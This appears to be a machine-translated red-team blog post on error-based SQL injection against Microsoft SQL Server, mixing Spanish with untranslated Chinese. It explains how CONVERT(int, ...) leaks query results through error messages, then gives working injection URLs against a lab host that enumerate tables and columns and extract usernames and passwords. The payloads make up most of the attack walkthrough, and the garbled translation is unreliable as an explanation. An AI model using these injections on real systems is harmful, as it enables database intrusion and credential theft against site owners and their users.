saulGoodman
Una serie de investigaciones ofensivo y defensivo se centró en equipo rojo del público
Nota manos de inyección de error de Microsoft SQL Server
breve introducción
Hoy en día, la mayor parte con la sql
implantación de 报错型
, en la mayoría de las listas de artículos en línea similar a la fórmula de la oración, pero no puede explicar por qué desea utilizar esta función, por qué el uso de esta función dará lugar a un error de inyección SQL.
convert()
Función, CONVERT()
la función es convertir a la nueva función de tipo de datos de fecha a través del uso.
sintaxis:
CONVERT(data_type(length),data_to_be_converted,style)
注释 :
data_type(length) 转换为⽬标数据类型(带有可选的长度)。
data_to_be_converted 含有需要转换的值。
style 规定⽇期/时间的输出格式。
⽰ 例:
CONVERT(VARCHAR(19),GETDATE())
CONVERT(VARCHAR(10),GETDATE(),110)
CONVERT(VARCHAR(11),GETDATE(),106)
CONVERT(VARCHAR(24),GETDATE(),113)
Resultados similares:
Dec 29 2008 11:45 PM
12-29-2008
29 Dec 08
29 Dec 2008 16:25:46.635
principio
Para convert(int,@@version)
, convert
la función será, por tanto, especialmente para realizar segundo parámetro especifica el tiro consulta SQL, y luego tratar de convertir el resultado de la consulta es int
de tipo. Sin embargo, debido a los resultados de las consultas SQL son varchar
tipos, no se puede realizar debido a la conversión especificada, por lo que la convert
función va a tirar ⼀ un SQL server
mensaje de error que dice "resultados de la consulta SQL" ⽆ ley convierte a “int”
escribir, en este caso, el atacante puede obtener los resultados de una consulta SQL.
condición vacía de la función completa, hay muchos:
convert()
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
Nota proceso START
consulta la información básica
convert(int,@@version) 获取版本信息
convert(int,db_name()) 数据库名字
convert(int,user) 当前⽤户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
Obtener información sobre la versión
http://192.168.159.135:8080/get.aspx?id=convert(int,@@version)
Tenga en cuenta que ahora funcionamos directamente en id=
la parte de atrás, ya que id=1
la consulta es un número entero ( int
), y nuestra convert(int,@@version)
información de la versión adquirida 字符型
, por lo que obtendrá un error por lo que rompió la información de la versión!
O puede utilizar esta declaración puede alcanzar los resultados anteriores:
http://192.168.159.135:8080/get.aspx?id=1 and 1=(convert(int,@@version))
Recibe el nombre actual de la tabla de base de datos
CONVERT(int,(select top 1 table_name from information_schema.columns))
http://192.168.159.135:8080/get.aspx?id=CONVERT(int,(select top 1 table_name from information_schema.columns)
Llegamos al lugar de los nombres de las tablas de bases de datos actuales son: users
!
Obtiene el nombre de la columna
convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(16进制的表名 as varchar)))
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar)))
Así llegamos al primer nombre de columna id
!
Por lo que desea obtener una segunda nombres de columna entonces podemos añadir una sentencia condicional después:and COLUMN_NAME != 'id'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id'))
Así llegamos a la segunda nombres de columna: username
!
Quiero conseguir el tercero y así sucesivamente, más instrucción condicional:and COLUMN_NAME != 'username'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 COLUMN_NAME from information_schema.columns where TABLE_NAME=cast(0x7573657273 as varchar) and COLUMN_NAME != 'id' and COLUMN_NAME != 'username'))
Así que llegamos a las denominaciones de terceros columna password
!
Obtener datos
Obtenemos el orden en el nombre de la tabla por encima del lugar: users
, nombres de columna son las siguientes: id
, username
, password
. Obviamente cuenta contraseña en el nombre de la columna username
, password
a continuación, podemos obtener los datos:
convert(int,(select top 1 列名 from 表名))
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users))
Para obtener el primer username
nombre de la columna primeros datos: saul
!
Si desea llegar al username
interior de los segundos datos a continuación, añadir una sentencia condicional:where username!='saul'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 username from users where username!='saul'))
Este adquirida username
segundos datos! Quiero llegar a la segunda y así sucesivamente!
Ahora username
llegamos a la saul
dos: admin
,! Así que vamos a obtener su contraseña!
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users))
Adquisición de la primera password
columna de valores: saul520
!
¿Quieres conseguir una ventaja en una where
sentencia condicional:where password!='saul520'
http://192.168.159.135:8080/get.aspx?id=convert(int,(select top 1 password from users where password!='saul520'))
Esto hará que a la segunda password
los datos arriba!
En este punto, Mssql
la 报错注入
parada aquí!